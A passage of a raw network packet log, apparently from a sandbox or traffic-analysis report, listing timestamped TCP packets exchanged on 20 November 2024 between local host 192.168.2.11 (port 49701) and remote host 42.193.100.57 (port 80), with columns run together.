        Nov 20, 2024 09:14:46.127651930 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.127667904 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.127667904 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.127707005 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.127743959 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.128258944 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.128269911 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.128281116 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.128314972 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.128381968 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.128422976 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.128433943 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.128520012 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.405149937 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.405167103 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.405174017 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.405190945 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.405205965 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.405219078 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.405239105 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.405283928 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.405312061 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.405333042 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.405347109 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.405353069 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.405360937 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.405375004 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.405375004 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.405388117 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.405402899 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.405402899 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.405427933 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.405438900 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.405803919 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.405816078 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.405827045 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.405855894 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.405884027 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.406131983 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.406142950 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.406153917 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.406166077 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.406178951 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.406189919 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.406194925 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.406205893 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.406239033 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.406292915 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.406305075 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.406347036 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.406537056 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.406650066 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.406666040 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.406680107 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.406692982 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.406706095 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.406816006 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.406827927 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.406837940 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.406847954 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.406861067 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.406873941 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.406894922 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.406960964 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.406960964 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.406960964 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.406960964 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.406960964 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.406960964 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.406960964 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.407696962 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.407773018 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.407852888 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.407865047 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.407876015 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.407882929 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.407887936 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.407900095 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.407902002 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.407912970 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.407942057 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.407964945 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.408004045 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.408015966 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.408026934 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.408039093 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.408061028 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.408065081 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.408077955 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.408077955 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.408092022 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.408103943 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.408118010 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.408134937 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.408193111 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.408227921 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.408688068 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.408736944 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.408832073 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.408843994 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.408857107 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.408866882 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.408879042 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.408890009 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.408905983 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.408937931 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.409002066 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.409013987 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.409024954 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.409039021 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.409049988 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.409085989 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.409154892 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.409326077 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.409337044 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.409358978 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.409367085 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.409399986 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.409727097 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.409739017 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.409750938 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.409760952 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.409781933 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.409796000 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.409898996 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.409910917 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.409921885 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.409955025 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.409971952 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.410064936 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.410077095 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.410104036 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.410120010 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.410235882 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.410249949 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.410285950 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.410300016 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.699069023 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.699086905 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.699109077 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.699120998 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.699131966 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.699142933 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.699155092 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.699173927 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.699218035 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.699218988 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.699234962 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.699274063 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.699448109 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.699460983 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.699471951 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.699481964 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.699492931 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.699492931 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.699510098 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.699542999 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.699620008 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.699631929 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.699644089 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.699678898 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.699692011 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.699702024 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.699706078 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.699719906 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.699736118 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.699753046 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.699771881 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.699783087 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.699820042 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.699986935 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.700036049 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.700071096 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.700086117 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.700103998 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.700114965 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.700118065 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.700128078 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.700140953 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.700150967 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.700176001 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.700320959 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.700333118 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.700344086 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.700355053 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.700362921 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.700366974 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.700378895 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.700388908 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.700396061 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.700428009 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.700762987 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.700814962 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.700822115 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.700826883 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.700872898 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.700872898 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.700912952 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.700927019 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.700939894 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.700951099 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.700965881 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.700967073 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.700977087 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.700988054 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.700994968 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.700999975 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.701041937 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.701056004 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.701106071 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.701118946 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.701131105 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.701142073 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.701145887 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.701153994 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.701165915 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.701181889 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.701208115 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.701719046 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.701733112 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.701744080 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.701766968 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.701833010 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.701842070 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.701854944 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.701868057 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.701880932 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.701898098 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.701901913 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.701910019 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.701920986 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.701929092 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.701934099 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.701961994 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.701978922 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.702023983 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.702037096 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.702048063 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.702058077 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.702069044 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.702075958 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.702080965 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.702104092 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.702182055 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.702660084 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.702672958 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.702683926 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.702713966 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.702737093 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.702739954 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.702753067 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.702763081 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.702774048 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.702794075 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.702811003 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.702883005 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.702893972 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.702907085 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.702918053 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.702928066 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.702933073 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.702939987 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.702951908 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.702954054 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.702965021 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.702975035 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.702977896 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.703001976 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.703011990 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.703043938 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.703142881 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.703598022 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.703610897 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.703623056 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.703650951 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.703676939 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.703681946 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.703689098 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.703700066 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.703706026 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.703713894 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.703794956 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.703819990 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.703830957 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.703841925 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.703851938 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.703862906 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.703875065 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.703876019 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.703891993 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.703917027 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.990257978 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.990286112 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.990298033 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.990309954 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.990324020 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.990334988 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.990345001 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.990355015 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.990375042 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.990386009 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.990401030 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.990413904 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.990418911 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.990430117 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.990451097 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.990453959 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.990494013 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.990508080 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.990519047 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.990537882 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.990540981 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.990588903 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.990624905 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.990637064 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.990650892 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.990669966 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.990691900 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.990698099 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.990715027 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.990726948 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.990737915 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.990765095 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.990768909 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.990787029 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.990799904 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.990823030 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.990839005 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.990864038 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.990876913 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.990911961 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.990979910 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.990991116 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.991002083 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.991029978 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.991044044 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.991070986 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.991084099 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.991095066 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.991121054 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.991148949 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.991183996 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.991197109 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.991209984 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.991238117 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.991261959 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.991266966 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.991278887 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.991290092 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.991302013 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.991308928 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.991345882 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.991404057 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.991422892 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.991436005 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.991466045 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.991481066 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.991502047 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.991513014 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.991518974 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.991553068 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.991575956 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.991592884 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.991611958 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.991630077 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.991640091 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.991647959 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.991652012 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.991664886 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.991689920 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.991689920 CET4970180192.168.2.1142.193.100.57
